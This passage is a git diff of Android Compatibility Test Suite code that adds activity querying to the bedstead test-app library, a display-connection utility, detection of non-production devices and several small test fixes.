+++ b/common/device-side/bedstead/testapp/manifests/LockTaskAppManifest.xml
@@ -1,4 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
+
 <!--
   ~ Copyright (C) 2021 The Android Open Source Project
   ~
@@ -16,11 +17,12 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.packagemanager.boottest.stub">
+          package="android.LockTaskApp">
+    <application
+        android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory"
+        android:testOnly="true">
 
-    <application>
-        <activity android:name=".StubActivity"
-                  android:exported="true"/>
+        <activity android:name="android.testapp.ifwhitelistedactivity" android:lockTaskMode="if_whitelisted" android:exported="true" />
     </application>
-
-</manifest>
\ No newline at end of file
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+</manifest>
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestApp.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestApp.java
index 771625c..7a4c309 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestApp.java
+++ b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestApp.java
@@ -38,7 +38,8 @@
 public class TestApp {
 
     private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    // Must be instrumentation context to access resources
+    private static final Context sContext = sTestApis.context().instrumentationContext();
     private final TestAppDetails mDetails;
 
     TestApp(TestAppDetails details) {
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivities.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivities.java
index 0283ba9..141f6f8 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivities.java
+++ b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivities.java
@@ -16,25 +16,71 @@
 
 package com.android.bedstead.testapp;
 
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.queryable.info.ActivityInfo;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Entry point to activity querying.
+ */
 public final class TestAppActivities {
 
-    private final TestAppInstanceReference mInstance;
+    private static final TestApis sTestApis = new TestApis();
 
-    TestAppActivities(TestAppInstanceReference instance) {
+    final TestAppInstanceReference mInstance;
+    private Set<ActivityInfo> mActivities = null;
+
+    static TestAppActivities create(TestAppInstanceReference instance) {
+        TestAppActivities activities = new TestAppActivities(instance);
+        return activities;
+    }
+
+
+    private TestAppActivities(TestAppInstanceReference instance) {
         mInstance = instance;
     }
 
+    Set<ActivityInfo> activities() {
+        if (mActivities != null) {
+            return mActivities;
+        }
+
+        mActivities = new HashSet<>();
+
+        PackageManager p = sTestApis.context().instrumentedContext().getPackageManager();
+        try {
+            PackageInfo packageInfo = p.getPackageInfo(mInstance.testApp().packageName(), /* flags= */ PackageManager.GET_ACTIVITIES);
+            for (android.content.pm.ActivityInfo activityInfo : packageInfo.activities) {
+                if (activityInfo.name.startsWith("androidx")) {
+                    // Special case: androidx adds non-logging activities
+                    continue;
+                }
+                mActivities.add(com.android.queryable.info.ActivityInfo.builder(
+                        activityInfo).build());
+            }
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new IllegalStateException("Cannot query activities if app is not installed");
+        }
+
+        return mActivities;
+    }
+
     /**
      * Return any activity included in the test app Manifest.
      *
      * <p>Currently, this will always return the same activity.
      */
     public TestAppActivityReference any() {
-        // TODO(scottjonathan): Currently we only have one pattern for testapps and they all have
-        //  exactly one activity - so we will return it here. In future we should expose a query
-        //  interface
-        return new UnresolvedTestAppActivity(
-                mInstance,
-                mInstance.testApp().reference().component("android.testapp.activity"));
+        return query().get();
+    }
+
+    public TestAppActivitiesQueryBuilder query() {
+        return new TestAppActivitiesQueryBuilder(this);
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
new file mode 100644
index 0000000..97ccfbe
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import android.content.ComponentName;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.queryable.Queryable;
+import com.android.queryable.queries.ActivityQuery;
+import com.android.queryable.queries.ActivityQueryHelper;
+
+import java.util.Iterator;
+
+/**
+ * Builder for activity queries.
+ */
+public final class TestAppActivitiesQueryBuilder implements Queryable {
+
+    private static final TestApis sTestApis = new TestApis();
+
+    private final TestAppActivities mTestAppActivities;
+    private ActivityQueryHelper<TestAppActivitiesQueryBuilder> mActivity =
+            new ActivityQueryHelper<>(this);
+
+    TestAppActivitiesQueryBuilder(TestAppActivities testAppActivities) {
+        mTestAppActivities = testAppActivities;
+    }
+
+    public ActivityQuery<TestAppActivitiesQueryBuilder> whereActivity() {
+        return mActivity;
+    }
+
+    public TestAppActivityReference get() {
+        Iterator<com.android.queryable.info.ActivityInfo> activityIterator = mTestAppActivities.activities().iterator();
+
+        while (activityIterator.hasNext()) {
+            com.android.queryable.info.ActivityInfo activity = activityIterator.next();
+            if (ActivityQueryHelper.matches(mActivity, activity)) {
+                activityIterator.remove();
+                return new UnresolvedTestAppActivity(mTestAppActivities.mInstance, sTestApis.packages().component(new ComponentName(mTestAppActivities.mInstance.testApp().packageName(), activity.className())));
+            }
+        }
+
+        throw new IllegalStateException("No matching unused activity for query");
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivityReference.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivityReference.java
index 87d1fc3..b520263 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivityReference.java
+++ b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivityReference.java
@@ -16,16 +16,20 @@
 
 package com.android.bedstead.testapp;
 
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
 import android.content.Intent;
 import android.os.Bundle;
+import android.util.Log;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.activities.ActivityReference;
 import com.android.bedstead.nene.packages.ComponentReference;
+import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.eventlib.events.activities.ActivityCreatedEvent;
+import com.android.eventlib.events.activities.ActivityStartedEvent;
 
 /**
  * A reference to an activity in a test app for which there may or may not be an instance.
@@ -58,14 +62,19 @@
      * Starts the activity.
      */
     public com.android.bedstead.nene.activities.Activity<TestAppActivity> start() {
+        // TODO(scottjonathan): Use a connected call to ensure this succeeds cross-user
         Intent intent = new Intent();
         intent.setComponent(mComponent.componentName());
         intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
-        sTestApis.context().instrumentedContext().startActivity(intent);
 
-        ActivityCreatedEvent
+        try (PermissionContext p =
+                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            sTestApis.context().instrumentedContext().startActivity(intent);
+        }
+
+        ActivityStartedEvent
                 .queryPackage(mComponent.packageName().packageName())
-                .whereActivity().className().isEqualTo(mComponent.className()).waitForEvent();
+                .whereActivity().activityClass().className().isEqualTo(mComponent.className()).waitForEvent();
 
         return sTestApis.activities().wrap(
                 TestAppActivity.class, new TestAppActivityImpl(mInstance, mComponent));
@@ -75,16 +84,31 @@
      * Starts the activity.
      */
     public com.android.bedstead.nene.activities.Activity<TestAppActivity> start(Bundle options) {
+        // TODO(scottjonathan): Use a connected call to ensure this succeeds cross-user
         Intent intent = new Intent();
         intent.setComponent(mComponent.componentName());
         intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
-        sTestApis.context().instrumentedContext().startActivity(intent, options);
+        try (PermissionContext p =
+                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            sTestApis.context().instrumentedContext().startActivity(intent, options);
+        }
 
         ActivityCreatedEvent
                 .queryPackage(mComponent.packageName().packageName())
-                .whereActivity().className().isEqualTo(mComponent.className()).waitForEvent();
+                .whereActivity().activityClass().className().isEqualTo(mComponent.className()).waitForEvent();
 
         return sTestApis.activities().wrap(
                 TestAppActivity.class, new TestAppActivityImpl(mInstance, mComponent));
     }
+
+    /**
+     * Get a reference to an already running activity.
+     *
+     * <p>If the activity is not running then this will still return a reference but calls will
+     * fail.
+     */
+    public com.android.bedstead.nene.activities.Activity<TestAppActivity> instance() {
+        return sTestApis.activities().wrap(
+                TestAppActivity.class, new TestAppActivityImpl(mInstance, mComponent));
+    }
 }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppInstanceReference.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppInstanceReference.java
index da11e34..4135520 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppInstanceReference.java
+++ b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppInstanceReference.java
@@ -20,6 +20,7 @@
 import android.content.IntentFilter;
 
 import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.packages.ProcessReference;
 import com.android.bedstead.nene.users.UserReference;
 
@@ -48,6 +49,7 @@
     private final Map<IntentFilter, Long> mRegisteredBroadcastReceivers = new HashMap<>();
     private boolean mKeepAliveManually = false;
     private final ProfileTestAppController mTestAppController;
+    private final TestAppActivities mTestAppActivities;
 
     TestAppInstanceReference(TestApp testApp, UserReference user) {
         mTestApp = testApp;
@@ -58,6 +60,7 @@
         mConnector.registerConnectionListener(this);
         mTestAppController =
                 ProfileTestAppController.create(mConnector);
+        mTestAppActivities = TestAppActivities.create(this);
     }
 
     CrossProfileConnector connector() {
@@ -68,7 +71,7 @@
      * Access activities on the test app.
      */
     public TestAppActivities activities() {
-        return new TestAppActivities(this);
+        return mTestAppActivities;
     }
 
     /**
@@ -201,7 +204,11 @@
 
         ProcessReference process = mTestApp.reference().runningProcess(mUser);
         if (process != null) {
-            process.kill();
+            try {
+                process.kill();
+            } catch (NeneException e) {
+                throw new NeneException("Error killing process... process is " + process(), e);
+            }
         }
 
         return this;
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppProvider.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppProvider.java
index c6e6789..2ef6ae8 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppProvider.java
+++ b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppProvider.java
@@ -31,7 +31,8 @@
 public final class TestAppProvider {
 
     private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    // Must be instrumentation context to access resources
+    private static final Context sContext = sTestApis.context().instrumentationContext();
 
     private boolean mTestAppsInitialised = false;
     private final Set<TestAppDetails> mTestApps = new HashSet<>();
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppQueryBuilder.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
index 7445f3f..3daf89e 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
+++ b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
@@ -16,9 +16,7 @@
 
 package com.android.bedstead.testapp;
 
-import com.android.eventlib.events.activities.ActivityCreatedEvent;
 import com.android.queryable.Queryable;
-import com.android.queryable.queries.ActivityQueryHelper;
 import com.android.queryable.queries.StringQuery;
 import com.android.queryable.queries.StringQueryHelper;
 
@@ -70,7 +68,7 @@
     }
 
     private boolean matches(TestAppDetails details) {
-        if (!mPackageName.matches(details.mPackageName)) {
+        if (!StringQueryHelper.matches(mPackageName, details.mPackageName)) {
             return false;
         }
 
diff --git a/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppActivity.java b/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppActivity.java
index 709afa2..1283b29 100644
--- a/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppActivity.java
+++ b/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppActivity.java
@@ -19,6 +19,7 @@
 import android.app.Activity;
 import android.os.Bundle;
 import android.os.PersistableBundle;
+import android.util.Log;
 
 import com.android.eventlib.premade.EventLibActivity;
 
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
new file mode 100644
index 0000000..bcc74dc
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public class TestAppActivitiesTest {
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+    private static final TestApis sTestApis = new TestApis();
+    private static final UserReference sUser = sTestApis.users().instrumented();
+
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp = sTestAppProvider.any(); // TODO(scottjonathan): specify must have activity
+    private static TestAppInstanceReference mTestAppInstance;
+
+    private static final String EXISTING_ACTIVITY = "android.testapp.activity";
+    private static final String NON_EXISTING_ACTIVITY = "non.existing.activity";
+
+    @Before
+    public void setup() {
+        mTestAppInstance = sTestApp.install(sUser);
+    }
+
+    @After
+    public void teardown() {
+        mTestAppInstance.uninstall();
+    }
+
+    @Test
+    public void query_matchesActivity_returnsActivity() {
+        TestAppActivityReference activity = mTestAppInstance.activities().query()
+                    .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
+                    .get();
+
+        assertThat(activity).isNotNull();
+    }
+
+    @Test
+    public void query_matchesPreviouslyReturnedActivity_throwsException() {
+        mTestAppInstance.activities().query()
+                .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
+                .get();
+
+        assertThrows(IllegalStateException.class, () ->
+                mTestAppInstance.activities().query()
+                        .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
+                        .get());
+    }
+
+    @Test
+    public void query_doesNotMatchActivity_throwsException() {
+        assertThrows(IllegalStateException.class, () ->
+                mTestAppInstance.activities().query()
+                        .whereActivity().activityClass().className()
+                            .isEqualTo(NON_EXISTING_ACTIVITY)
+                        .get());
+    }
+
+    @Test
+    public void any_returnsActivity() {
+        TestAppActivityReference activity = mTestAppInstance.activities().any();
+
+        assertThat(activity).isNotNull();
+    }
+
+    @Test
+    public void query_matchesActivityPreviouslyReturnedByDifferentInstance_returnsActivity() {
+        mTestAppInstance.activities().query()
+                .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
+                .get();
+
+        TestAppInstanceReference testAppInstance2 = sTestApp.instance(sUser);
+
+        assertThat(
+                testAppInstance2.activities().query()
+                        .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
+                        .get()).isNotNull();
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
index 7e1344a..f3a44d4 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
@@ -22,7 +22,7 @@
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnSecondaryUser;
-import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnWorkProfile;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerProfile;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.activities.Activity;
 import com.android.bedstead.nene.users.UserReference;
@@ -52,7 +52,7 @@
     @Test
     @IncludeRunOnPrimaryUser
     @IncludeRunOnSecondaryUser
-    @IncludeRunOnWorkProfile
+    @IncludeRunOnProfileOwnerProfile
     public void start_activityIsStarted() {
         TestApp testApp = mTestAppProvider.any(); // TODO(scottjonathan): specify must have activity
         try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
index 2755e82..74743d8 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppAppComponentFactoryTest.java
@@ -66,7 +66,8 @@
 
         EventLogs<ActivityCreatedEvent> eventLogs =
                 ActivityCreatedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS);
+                        .whereActivity().activityClass().className()
+                            .isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -79,7 +80,8 @@
 
         EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereBroadcastReceiver().className().isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
+                .whereBroadcastReceiver().receiverClass().className()
+                    .isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
         assertThat(eventLogs.poll()).isNotNull();
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
index 4a3ff18..da4a813 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
@@ -88,9 +88,9 @@
     @Test
     public void activities_any_returnsActivity() {
         TestApp testApp = mTestAppProvider.any();
-        TestAppInstanceReference testAppInstance = testApp.instance(sUser);
-
-        assertThat(testAppInstance.activities().any()).isNotNull();
+        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+            assertThat(testAppInstance.activities().any()).isNotNull();
+        }
     }
 
     @Test
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 735b805..4ed65de 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -139,6 +139,8 @@
         store.startArray(REQUESTED_PERMISSIONS);
         if (pkg.requestedPermissions != null && pkg.requestedPermissions.length > 0) {
             for (String permission : pkg.requestedPermissions) {
+                if (permission == null) continue;
+
                 try {
                     final PermissionInfo pi = pm.getPermissionInfo(permission, 0);
 
@@ -146,8 +148,6 @@
                     store.addResult(PERMISSION_NAME, permission);
                     writePermissionsDetails(pi, store);
 
-                    if (permission == null) continue;
-
                     final boolean isPlatformPermission = systemPermissions.contains(permission);
                     if (isPlatformPermission) {
                       final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
index 3e6e636..e8190ba 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
@@ -64,12 +64,6 @@
             store.endGroup();
         }
         store.endArray();
-        // getPlatformSepolicyVersion is available Android S onward.
-        // TODO(b/188778135): change to only check BUILD.VERSION.SDK_INT once it is finalized
-        if (("REL".equals(Build.VERSION.CODENAME) && Build.VERSION.SDK_INT > Build.VERSION_CODES.R)
-                || "S".compareTo(Build.VERSION.CODENAME) <= 0) {
-            store.addResult("platform_sepolicy_version", VintfObject.getPlatformSepolicyVersion());
-        }
 
         // getTargetFrameworkCompatibilityMatrixVersion is available Android P onward.
         // (Use O_MR1 until P is released.)
@@ -80,5 +74,10 @@
         if (version != null) {
             store.addResult("target_fcm_version", version);
         }
+
+        // getPlatformSepolicyVersion is available Android S onward.
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
+            store.addResult("platform_sepolicy_version", VintfObject.getPlatformSepolicyVersion());
+        }
     }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java
new file mode 100644
index 0000000..ae4bec1
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.hardware.hdmi.HdmiControlManager;
+import android.view.Display;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class DisplayUtil {
+
+    private static final float REFRESH_RATE_TOLERANCE = 0.01f;
+
+    /**
+     * Returns if a physical display is connected to DUT. The method may return a false positive,
+     * but no false negative.
+     */
+    public static boolean isDisplayConnected(Context context) throws Exception {
+        // DisplayManager will return a display even if there is no connected display.
+        // For that reason we use HdmiControlManager to check if there's something connected
+        // to the HDMI port.
+        HdmiControlManager cecManager = context.getSystemService(HdmiControlManager.class);
+
+        if (cecManager == null) {
+            // CEC is not available. Can't do anything more, so assume that there is a display.
+            return true;
+        }
+
+        if (cecManager.getPlaybackClient() == null) {
+            // The device is not HDMI playback device (e.g. set-top box), so we assume it has
+            // a built-in display.
+            return true;
+        }
+
+        CountDownLatch notifyLatch = new CountDownLatch(1);
+        cecManager.addHotplugEventListener(event -> {
+            // TODO(b/189837682): Check if the port is HDMI out
+            if (event.isConnected()) {
+                notifyLatch.countDown();
+            }
+        });
+
+        return notifyLatch.await(3, TimeUnit.SECONDS);
+    }
+
+    public static boolean isModeSwitchSeamless(Display.Mode from, Display.Mode to) {
+        if (from.getModeId() == to.getModeId()) {
+            return true;
+        }
+
+        if (from.getPhysicalHeight() != to.getPhysicalHeight()
+                || from.getPhysicalWidth() != to.getPhysicalWidth()) {
+            return false;
+        }
+
+        for (float alternativeRefreshRate : from.getAlternativeRefreshRates()) {
+            if (Math.abs(alternativeRefreshRate - to.getRefreshRate()) <  REFRESH_RATE_TOLERANCE) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
index 3f44317..8318201 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -1409,6 +1409,36 @@
         return result.toString();
     }
 
+    /*
+     *  ------------------- HELPER METHODS FOR DETECTING NON-PRODUCTION DEVICES -------------------
+     */
+
+    /*
+     *  Some parts of media CTS verifies device characterization that does not make sense for
+     *  non-production devices (such as GSI). We call these devices 'frankenDevices'. We may
+     *  also limit test duration on these devices.
+     */
+    public static boolean onFrankenDevice() throws IOException {
+        String systemBrand = PropertyUtil.getProperty("ro.product.system.brand");
+        String systemModel = PropertyUtil.getProperty("ro.product.system.model");
+        String systemProduct = PropertyUtil.getProperty("ro.product.system.name");
+
+        // not all devices may have system_ext partition, but if they do use that
+        {
+            String systemExtProduct = PropertyUtil.getProperty("ro.product.system_ext.name");
+            if (systemExtProduct != null) {
+                systemProduct = systemExtProduct;
+            }
+        }
+
+        if (("Android".equals(systemBrand) || "generic".equals(systemBrand) ||
+                "mainline".equals(systemBrand)) &&
+            (systemModel.startsWith("AOSP on ") || systemProduct.startsWith("aosp_") ||
+                systemModel.startsWith("GSI on ") || systemProduct.startsWith("gsi_"))) {
+            return true;
+        }
+        return false;
+    }
 
     /*
      *  -------------------------------------- END --------------------------------------
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java
index 3581764..7602ac2 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java
@@ -62,7 +62,6 @@
             return;
         }
         mLatch.countDown();
-        DeviceConfig.removeOnPropertiesChangedListener(this);
     }
 
     /**
@@ -82,6 +81,9 @@
         } catch (InterruptedException e) {
             Thread.currentThread().interrupt();
             throw new IllegalStateException("Interrupted", e);
+        } finally {
+            Log.i(TAG, "Remove OnPropertiesChangedListener for " + mKey);
+            DeviceConfig.removeOnPropertiesChangedListener(this);
         }
     }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index 6bf9cf3..e16d7a8 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -66,7 +66,7 @@
 
             if (view == null) {
                 UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
-                if (!FeatureUtil.isWatch()) {
+                if (!FeatureUtil.isWatch() && !FeatureUtil.isTV()) {
                     scrollable.setSwipeDeadZonePercentage(0.25);
                 }
                 if (scrollable.exists()) {
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index d1da633..de060ff 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -60,6 +60,7 @@
             "DOWNSCALE_85",
             "DOWNSCALE_90",
             "DO_NOT_DOWNSCALE_TO_1080P_ON_TV",
+            "FGS_BG_START_RESTRICTION_CHANGE_ID",
             "FORCE_NON_RESIZE_APP",
             "FORCE_RESIZE_APP",
             "IGNORE_ALLOW_BACKUP_IN_D2D",
diff --git a/hostsidetests/appcompat/host/lib/Android.bp b/hostsidetests/appcompat/host/lib/Android.bp
index 8f44487..f6e664e 100644
--- a/hostsidetests/appcompat/host/lib/Android.bp
+++ b/hostsidetests/appcompat/host/lib/Android.bp
